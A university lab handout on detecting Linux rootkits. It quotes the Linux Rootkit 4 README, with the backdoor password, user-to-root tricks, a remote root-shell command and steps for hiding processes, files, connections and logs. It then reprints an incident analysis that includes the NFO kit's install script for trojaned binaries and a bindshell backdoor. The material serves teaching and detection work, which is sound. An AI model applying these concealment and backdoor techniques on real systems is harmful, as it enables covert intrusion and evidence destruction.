Abstract: Rootkits are collections of programs that attempt to hide the activity of an attacker after root access was already gained. The lab experiments involve detecting rootkits on an already rooted Linux system.
A rootkit is a collection of programs which patch and Trojan existing execution paths within the system. This process violates the integrity of the trusted computing base. A rootkit inserts backdoors into existing programs, breaks the existing security system after root access is already gained.
Root kits have appeared for all major OS, including Windows. Occasionally, overzealous companies (Sony in 2005) have used root kits embedded in their products in an attempt to protect their intellectual property.
The following is an announcement of a rootkit release. (Spelling mistakes are not corrected.) This rootkit was for Linux. Several excerpts from its README are presented below so that a typical root kit can be "appreciated." The current version of the kit is LRK6, but its source code is not readily found.
Lord Somer is extremely pleased to bring you..
_ _ ____ _ _ _ _ ___ ___ ___
| | (_)_ __ _ ___ __ | _ \ ___ ___ | |_| | _(_) |_ |_ _|\ \ / /
| | | | '_ \| | | \ \/ / | |_) / _ \ / _ \| __| |/ / | __| | | \ \ / /
| |___| | | | | |_| |> < | _ < (_) | (_) | |_| <| | |_ | | \ \/ /
|_____|_|_| |_|\__,_/_/\_\ |_| \_\___/ \___/ \__|_|\_\_|\__| |___| \____/
Released November 26, 1998 "for turkeyday this year I bring you Linux Rootkit 4"
...
This packages includes the following:
bindshell port/shell type daemon!
chfn Trojaned! User->r00t
chsh Trojaned! User->r00t
crontab Trojaned! Hidden Crontab Entries
du Trojaned! Hide files
find Trojaned! Hide files
fix File fixer!
ifconfig Trojaned! Hide sniffing
inetd Trojaned! Remote access
killall Trojaned! Wont kill hidden processes
linsniffer Packet sniffer!
login Trojaned! Remote access
ls Trojaned! Hide files
netstat Trojaned! Hide connections
passwd Trojaned! User->r00t
pidof Trojaned! Hide processes
ps Trojaned! Hide processes
rshd Trojaned! Remote access
sniffchk Program to check if sniffer is up and running
syslogd Trojaned! Hide logs
tcpd Trojaned! Hide connections, avoid denies
top Trojaned! Hide processes
wted wtmp/utmp editor!
z2 Zap2 utmp/wtmp/lastlog eraser!
USAGE
OK I will go thru how to use each program one by one. NOTE when I say password
I mean the rootkit password not your users password (doh!). By default the
rootkit password is satori.
chfn - Local user->root. Run chfn then when it asks you for a new name
enter your password.
chsh - Local user->root. Run chsh when it asks you for a new shell
enter your password.
crontab - Loads a file defined as TAB_NAME in rootkit.h, by default /dev/hda02
This file should have the following syntax:
username regularcrontabentry
ie: say to run your botchk for your hidden eggdrop as user hack you'd use:
hacker 0,10,20,30,40,50 * * * * /home/hack/eggdrop1.1.5/botchk >/dev/null 2>&1
NOTE: the user must already have a crontab, do crontab -lu username
to see if they have one
du - See documentation for ls
find - See documentation for ls
fix - Replaces and fixes timestamp/checksum infomation on files.
ifconfig - Modified to remove PROMISC flag when sniffing.
inetd - Don't even *think* about asking ;-) It ain't that hard..
killall - All process of type 2 and 3 in the ROOTKIT_PROCESS_FILE cant be killed using
killall.
say our process file had this in it:
2 linsniffer
3 hack
if you typed killall linsniffer, it wouldn't kill any process with the fullname
of linsniffer, but if you typed killall somehackerprogs it wouldn't kill any
process with hack in it. See ps for more information as they run on the same
list, along with the pidof trojan.
linsniffer - A great packet sniffer, very simple to use just run: ./linsniffer > tcp.log &
Come back in a few hours and read your logs of ftps/imaps/telnets :)
Some other sniffers if you want more configurability are:
Sniffit: http://reptile.rug.ac.be/~coder/sniffit/sniffit.html
login - Allows login to any account with the rootkit password.
If root login is refused on your terminal login as "rewt".
Disables history logging when backdoor is used.
ls - Trojaned to hide specified files and dirs.
The data file is ROOTKIT_FILES_FILE, defaults to /dev/ptyr.
All files can be listed with 'ls -/' if SHOWFLAG is enabled.
(see rootkit.h)
The format of /dev/ptyr is:
ptyr
hack.dir
w4r3z
ie. just the filenames. This would hide any files/dirs with the
names ptyr, hack.dir and w4r3z.
netstat - Modified to remove tcp/udp/sockets from or to specified
addresses, uids and ports. The file is ROOTKIT_ADDRESS_FILE.
default data file: /dev/ptyq
type 0: hide uid
type 1: hide local address
type 2: hide remote address
type 3: hide local port
type 4: hide remote port
type 5: hide UNIX socket path
example:
0 500 <- Hides all connections by uid 500
1 128.31 <- Hides all local connections from 128.31.X.X
2 128.31.39.20 <- Hides all remote connections to 128.31.39.20
3 8000 <- Hides all local connections from port 8000
4 6667 <- Hides all remote connections to port 6667
5 .term/socket <- Hides all UNIX sockets including the path
.term/socket
passwd - Local user->root. Enter your rootkit password instead of your
old password.
pidof - Uses ROOTKIT_PROCESS_FILE, just like ps and killall do.
pidof (some command name) normally returns the pid or pids of that command.
Any process of type 2 or 3 in our file will be hidden just like in ps, see ps
documentation for more information.
NOTE: programs that run from scripts like a bash script use the name of the
script to hide it not the item it runs! IE: eggdrop config files instead
of eggdrop ./config.file
ps - Modified to remove specified processes.
The file used is ROOTKIT_PROCESS_FILE, default to /dev/ptyp.
An example data file is as follows:
0 0 Strips all processes running under root
1 p0 Strips tty p0
2 sniffer Strips all programs with the name sniffer
3 hack Strips all programs with 'hack' in them
ie. proghack1, hack.scan, snhack etc.
Don't put in the comments, obviously. Note: if this doesn't
seem to work make sure there are no spaces after the names,
and don't use the full path name.
NOTE: programs that run from scripts like a bash script use the name of the
script to hide it not the item it runs! IE: eggdrop config files instead
of eggdrop ./config.file
rshd - Execute remote commands as root.
Usage: rsh -l rootkitpassword host command
ie. rsh -l satori cert.org /bin/sh -i
would start a root shell.
sniffchk - simple bash scrip to check if your linsniffer is running, not really necessary
unless you setup your system to mail you the logs and you dont want to ever log
in manually to read them, but how long do u really wanna sniff the same servers?
sshd - this is cool, alphabetical order. Ok, now just do ssh -l
rewt and it wont be logged, do ssh -l
and it will be logged. Use the rootkit password for a
password
syslogd - Modified to remove specified strings from logging.
The data file is ROOTKIT_LOG_FILE, this defaults to /dev/ptys.
Example data file:
evil.com
123.100.101.202
rshd
This would remove all logs containing the strings evil.com,
123.100.101.202 and rshd.
tcpd - Modified to allow access from your host without any logging.
Any type 1 record in the ROOTKIT_ADDRESS_FILE is used for
tcpd. See netstat for more infoz on this file.
Example data file:
1 123.4.5.6
would set up the tcp wrappers to allow and hide connects from
123.4.5.6.
top - Identical to ps.
wted - This does lots of stuff. U can view ALL the entries in a wtmp
or utmp type file, erase entries by username or hostname,
view zapped users (admins use a util similar to this to find
erased entries), erase zapped users etc.
z2 - Zapper2! Run this to erase the last utmp/wtmp/lastlog entries
for a username. This can be detected since it just nulls the
entry out.
The following is a slightly edited version of an article that analyzes a real incident (March 8, 2000) [http://www.sans.org/newlook/resources/IDFAQ/NFO.htm by Fredrik Ostergren (fredrik.ostergren@freebox.com)]
This kit was found on a compromised machine running RedHat 5.2 and was
probably rooted using a rootexploit exploiting the POP2 daemon (version
4.46). The dir where this kit was found was /usr/include/rpc/"..
" They installed a few backdoors and Trojans into the system that
gives them root access and hides themselves. These are the files that were
found in the directory mentioned before.
slimsheet:~/nfo# ls -al drwxr-xr-x 9 root root 4096 Dec 31 23:31 kit2/ -rw-r--r-- 1 root root 459397 Oct 27 14:35 kit_OUT_99.tgz -rwxr-xr-x 1 ftp 50 13766 Nov 21 21:36 t666* -rwxr-xr-x 1 root root 106096 Nov 20 05:26 wget* slimsheet:~/nfo# ls -al kit2/ -rwxr-xr-x 1 root root 13762 Dec 10 20:55 admbind* drwxr-xr-x 2 root root 4096 Sep 29 18:32 bd/ drwxr-xr-x 2 root root 4096 Jan 2 22:23 bnc/ -rwxr-xr-x 1 root root 1059 Oct 3 01:49 install* drwxr-xr-x 2 root root 4096 Sep 29 18:32 pty/ -rw-r--r-- 1 root root 1 Dec 31 23:32 readme drwxr-xr-x 2 root root 4096 Dec 5 21:44 resetlog/ drwxr-xr-x 2 root root 4096 Dec 31 23:30 scans/ drwxr-xr-x 2 root root 4096 Sep 29 18:32 sniff/ drwxr-xr-x 2 root root 4096 Sep 30 16:21 trojans/Analysis
Three files were found in the directory, their names were kit_OUT_99.tgz, t666 & wget. The file kit_OUT_99.tgz was the original zipped kit that put itself into ./kit2/ when he untar'ed it. wget is used to receive files from other servers at Internet. t666 is a bind/named remote exploit for mostly every OS out there, it exploits the bind 8.2.(X) version. If we enter the directory kit2 we'll find three more files in the same directory, admbind, install and readme. Admbind is probably a remote exploit for the bind version. The readme file is where the sniffer ./sniff/lins logs all connections but this file was 0 kb. The install file is a shell script:
#!/bin/sh #backup echo "Instalacao do Kit NFO GROUP v1.5" if [ "$1" != "-install" ]; then echo "Use: ./install -install" ; echo "" exit fi echo -n "[*] Iniciando Backup..." /bin/cp /bin/ls /usr/doc/.sl /bin/cp /bin/ps /usr/doc/.sp /bin/cp /bin/netstat /usr/doc/.statnet /bin/cp /usr/sbin/syslogd /usr/doc/.logdsys /bin/cp /usr/sbin/tcpd /usr/doc/.dpct /bin/cp /sbin/ifconfig /usr/doc/.gifnocfi /bin/cp /usr/bin/find /usr/doc/.dnif /bin/cp /bin/login /usr/doc/.nigol echo "ok" # instalacao echo -n "[*] Iniciando instalacao..." /bin/cp -f trojans/ls.trj /bin/ls /bin/cp -f trojans/ps.trj /bin/ps /bin/cp -f trojans/netstat.trj /bin/netstat /bin/cp -f trojans/syslogd.trj /usr/sbin/syslogd /bin/cp -f trojans/tcpd.trj /usr/sbin/tcpd /bin/cp -f trojans/ifconfig.trj /sbin/ifconfig /bin/cp -f trojans/find.trj /usr/bin/find /bin/cp -f trojans/login.trj /bin/login /bin/cp -f pty/pty* /dev/ echo "ok" echo -n "[*] Instalando backdoor..." ./bd/biba 14789632159 lal echo "ok" echo -n "[*] Sniffando..." ./sniff/lins echo "ok" echo "Instalacao completa :-)" exit
The directory ./bd/ includes one file called biba.
It's the binary from what probably is a bindshell.c copy. When it is executed by
the install file it will put itself on port 14789632159. When you execute
# ./biba 31337 syslogd
it will bind a rootshell to port 31337 and it will look like it's syslogd
running when root execute a ps aux. This rootshell sits on
the port 31337 listening for connections. When you connect to it using
telnet, you'll not be given any prompt or anything like that. It
will only wait for a password, and if you enter the correct password, you'll
receive a /bin/bash prompt with uid=0 (root). The password for
this binary was discovered using a simple "strings biba"
as "#N#F#O#G"
If we change directory to ./bnc/ we'll find a normal precompiled bouncer for IRC use and a file called bnc.conf which is the config file that are used by the binary "bnc". The file bnc.cnf had the following.
pt:54123
<-------- This is the port the bouncer will listen for connections
ps:ziggylinda <-------- This is the
password you need to enter to use the bouncer.
mu:3
<-------- This is the "Max User" selection, only 3
connections at the time.
dp:6667
<-------- Default IRC port to connect to is 6667 in this case.
In the directory /pty are four files: ptyp, ptyq,
ptyr & ptys. All these belong to the rootkit and various Trojans,
which are later moved to /dev. Their contents of ptyp were the following :
2 lins
3 biba
3 sadan
3 lal
3 cleans
3 z2
3 readme
3 in.telnetd
3 promisc
3 cat
3 grep
3 bash
3 sh
3 bnc
3 rpcscan
3 z0ne
This is the "Process hiding" file and everything that has a 3 in front
of them will hide everything containing that string in a /bin/ps section. For
example, when it says 3 biba in the file every line of output
of ps containing biba will be hidden. When it says, for
example, 2 lins it will hide all applications matching the
string lins.
The file ptyq is the hiding file for netstat. It will remove tcp/udp/sockets from or to specified addresses, uids and ports. Its contents were:
0 0 1 200.241 1 200.244 1 200.243 1 200.242 1 expert.com.br 1 interconect.com.br 1 amazonline.com.br 1 libnet.com.br 2 200.241 2 200.242 2 200.240 2 200.243 2 200.242 2 libnet.com.br 2 amazonline.com.br 2 interconect.com.br 2 amazonline.com.br 2 14789632159 2 988889 3 14789632159 3 988889 5 /usr/include/rpc/".. "/kit/
In the last line above, the fourth path name component is a dot-dot-space. Taken from the Readme for lrk (Linux RootKit), we learn the meanings of the digits at the beginning of these lines:
type 0: hide uid
type 1: hide local address.
type 2: hide remote address
type 3: hide local port
type 4: hide remote port
type 5: hide UNIX socket path
We see that the attackers want to hide all connections from 200.241-244 and the domains libnet.com.br, expert.com.br, amazonline.com.br, interconect.com.br. Probably these are ISPs and it will be much easier to look for suspicious connections when we know from what domains they may come.
The next file is ptyr. Every name in this file will be
hidden from ls / du.
ptyp
ptyq
ptyr
ptys
..
As you may notice thoose pty* files are hidden and also the directory where the attacker(s) stored all the files.
Next and last file is ptys and will hide the addresses in
the file from syslogd. The contents of ptys were :
200.244
200.245
200.241
200.242
expert.com.br
interconect.com.br
amazonline.com.br
libnet.com.br
Now the attackers are sure that no connections from their hosts will be logged into the /var/log/* files or any other files syslogd may log to.
The directory resetlog had six files. These files were large and are made to clean logs; "head -n 5 sadan" revealed the following :
# [-] Sadan del log v 5.0 - BETA
# [-] written by the_sphinx to NFO group '99
# [-] ninefortyone@hotmail.com
#
#!/bin/bash
As you see it's a shellscript made by _sphinx for NFO group 99, It seems that he can be reached at ninefortyone@hotmail.com if you need to contact him concerning his "cleaning-logs-skills". There's another file called sadan-4_0-pt.sh in the same directory and we found this in the file :
echo; echo ; echo "[S] SADAN del log 4.0 - PORTUGUES"
echo "[S] sysdenial - tdoors@mailbr.com.br"
echo "[S] NFO Group OwnZ - Brazil - Out/99"
Yet another guy making scripts for log cleaning.
The next directory we enter is a directory called scans and it's from this dir all the network scans have been made. When we found this kit there were only two files in this directory, rpcscan and z0ne. z0ne is a tool to gather IPs from a top domain, e.g., to gather all IP addresses of *.edu. In the directory resetlog we found a file called .logs which was a simple "find / -name *log* > .logs and in this file we found the following entries :
/usr/include/rpc/.. /kit2/scans/mc.log.qpop
/usr/include/rpc/.. /kit2/scans/no.log.qpop
/usr/include/rpc/.. /kit2/scans/no.log
/usr/include/rpc/.. /kit2/scans/200.log
Here we see that the intruder has been scanning *.no and the class A network 200.x.x.x for vulnerabilities. We also notice that someone scanned *.no and (maybe) *.mc for vulnerable versions of QPOP.
The next directory was called sniff and included two files, lins which was an Ethernet packet sniffer whose default logging file was ./readme. There was also a file called promisc which is a well-known software tool to detect sniffers at all Network interfaces, eth0, eth1, etc, etc.
The detection of this intrusion was fairly easy. We found an application named "bnc" running as uid=0 (root) and simply did "find / -name *bnc*" and found the secret directory mentioned above. A compromise like this would be detected on a host running file-scanning software such as Tripwire.
Read D. O'Brien referenced below.
All work should be carried out in the Operating Systems and Internet Security (OSIS) Lab, 429 Russ. This lab does not require any special network setup.
Objective: To experience rootkits and their detection. You will be using two machines: one for compiling fresh copies of rootkit detection packages on a clean Linux machine, another running a rooted Linux system.